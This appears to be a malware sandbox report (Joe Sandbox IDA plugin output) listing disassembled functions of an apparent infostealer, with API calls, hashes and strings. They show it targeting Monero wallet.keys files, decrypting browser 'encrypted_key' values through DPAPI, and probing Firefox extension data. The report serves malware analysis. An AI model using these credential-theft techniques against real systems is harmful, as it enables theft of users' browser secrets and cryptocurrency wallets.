Opcode ID: 4b2bb73f8dee2185b2874c7e09f4985b4a9c6fe0bc1187804530014e311b152e
Instruction ID: eafa69d4dfcab17b823baee308fc96368401adb1662ec91163febba095c05574
Opcode Fuzzy Hash: 4b2bb73f8dee2185b2874c7e09f4985b4a9c6fe0bc1187804530014e311b152e
Instruction Fuzzy Hash: FE116DB1A84305EBD704CB98DC49F6FBBBCEB44701F104299FA09E7280EB7459008BA2

Function 00B312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B312B4
RtlAllocateHeap.NTDLL(00000000), ref: 00B312BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00B312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B312F5
RegCloseKey.ADVAPI32(?), ref: 00B312FF

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5cab51ef03b502f4cf4259c44a53430dfd481910728757721e66c0ea3e801b82
Instruction ID: b9a6c6e591ca576e7dd4f413611ab2efa006326284683bb49bb4bf0c23ab486c
Opcode Fuzzy Hash: 5cab51ef03b502f4cf4259c44a53430dfd481910728757721e66c0ea3e801b82
Instruction Fuzzy Hash: 4D01E6B5A40308BBDB04DFD4DC49FAEB7BCEB88701F108155FA09D7280E6759A418F61

Function 00B3A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(014E8A20,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00B3A0BD
LoadLibraryA.KERNEL32(014ED118), ref: 00B3A146

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A820: lstrlen.KERNEL32(00B34F05,?,?,00B34F05,00B50DDE), ref: 00B4A82B
Part of subcall function 00B4A820: lstrcpy.KERNEL32(00B50DDE,00000000), ref: 00B4A885

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

SetEnvironmentVariableA.KERNEL32(014E8A20,00000000,00000000,?,00B512D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00B50AFE), ref: 00B3A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00B3A0B2, 00B3A0C6, 00B3A0DC

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 12d85e69775356c5272566f36c3d7d34685363eb876d1d01b45aec6d759aaefe
Instruction ID: c75c82ff974c2073a41783c002c8987e19b83169bed98367902e91573f6713f0
Opcode Fuzzy Hash: 12d85e69775356c5272566f36c3d7d34685363eb876d1d01b45aec6d759aaefe
Instruction Fuzzy Hash: 02411CB1901704AFD704EFA8ED55AAE73B4EB85302F244159F509E23A1EB345984CB73

Function 00B3A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B48B60: GetSystemTime.KERNEL32(00B50E1A,014E9CC8,00B505AE,?,?,00B313F9,?,0000001A,00B50E1A,00000000,?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B48B86

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B3A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00B3A3FF
lstrlen.KERNEL32(00000000), ref: 00B3A6BC

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

DeleteFileA.KERNEL32(00000000), ref: 00B3A743

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 19c6637d6add0d5498b6d280f354789fef0f99f8f492a8f1d654b2faf45149b7
Instruction ID: 4f4f7863f07c610ec0e12ff0b5735a1881c9039e5440a06f17cb920fbeb8b8b4
Opcode Fuzzy Hash: 19c6637d6add0d5498b6d280f354789fef0f99f8f492a8f1d654b2faf45149b7
Instruction Fuzzy Hash: 30E1ED72850118AAEB04FBA4DC92EEE73BCEF54300F508599F516B6091EF306B49DB72

Function 00B3D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B48B60: GetSystemTime.KERNEL32(00B50E1A,014E9CC8,00B505AE,?,?,00B313F9,?,0000001A,00B50E1A,00000000,?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B48B86

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B3D801
lstrlen.KERNEL32(00000000), ref: 00B3D99F
lstrlen.KERNEL32(00000000), ref: 00B3D9B3
DeleteFileA.KERNEL32(00000000), ref: 00B3DA32

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fd613c2afcbab6254034eafc10fe07bfef309db0e4ef042f2bb8720b79987c28
Instruction ID: 7e7de4bf769322385dca3cb45f75b12febe00a9429183cb9657d1eedd6cc094a
Opcode Fuzzy Hash: fd613c2afcbab6254034eafc10fe07bfef309db0e4ef042f2bb8720b79987c28
Instruction Fuzzy Hash: 018120728501089BEB04FBA4DC92EEE73B8EF54304F5145A8F406B6192EF346B09DB62

Function 00B3F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B399EC
Part of subcall function 00B399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B39A11
Part of subcall function 00B399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B39A31
Part of subcall function 00B399C0: ReadFile.KERNEL32(000000FF,?,00000000,00B3148F,00000000), ref: 00B39A5A
Part of subcall function 00B399C0: LocalFree.KERNEL32(00B3148F), ref: 00B39A90
Part of subcall function 00B399C0: CloseHandle.KERNEL32(000000FF), ref: 00B39A9A

Part of subcall function 00B48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B48E52

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00B51580,00B50D92), ref: 00B3F54C
lstrlen.KERNEL32(00000000), ref: 00B3F56B

Strings

moz-extension+++, xrefs: 00B3F5AD
^userContextId=4294967295, xrefs: 00B3F59C

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 00631d7436e27a9d63915482a261a5f66a27948bd6c99fae461c5d057d059407
Instruction ID: bbf8a5d56d83a7f062b0e0112b82a7360e171d8ed610ab74669e080d9c385cb2
Opcode Fuzzy Hash: 00631d7436e27a9d63915482a261a5f66a27948bd6c99fae461c5d057d059407
Instruction Fuzzy Hash: 24513271D50108AAEB14FBB4DC92DED73BCEF54304F5085A8F816A7191EE346B09DBA2

Function 00B39CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B399EC
Part of subcall function 00B399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B39A11
Part of subcall function 00B399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B39A31
Part of subcall function 00B399C0: ReadFile.KERNEL32(000000FF,?,00000000,00B3148F,00000000), ref: 00B39A5A
Part of subcall function 00B399C0: LocalFree.KERNEL32(00B3148F), ref: 00B39A90
Part of subcall function 00B399C0: CloseHandle.KERNEL32(000000FF), ref: 00B39A9A

Part of subcall function 00B48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B48E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B39D39

Part of subcall function 00B39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B34EEE,00000000,00000000), ref: 00B39AEF
Part of subcall function 00B39AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B34EEE,00000000,?), ref: 00B39B01
Part of subcall function 00B39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B34EEE,00000000,00000000), ref: 00B39B2A
Part of subcall function 00B39AC0: LocalFree.KERNEL32(?,?,?,?,00B34EEE,00000000,?), ref: 00B39B3F

Part of subcall function 00B39B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B39B84
Part of subcall function 00B39B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00B39BA3
Part of subcall function 00B39B60: LocalFree.KERNEL32(?), ref: 00B39BD3

Strings

"encrypted_key":", xrefs: 00B39D30
DPAPI, xrefs: 00B39D89
, xrefs: 00B39DC1

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: be63bc06d316b12fb42190dc111a32c1a090af0ff7702a1a4a14a47deb2458d8
Instruction ID: d5ba8bfb4f96734737946c478e650f25b93106bfdc3a6ce77ff709d0060e7996
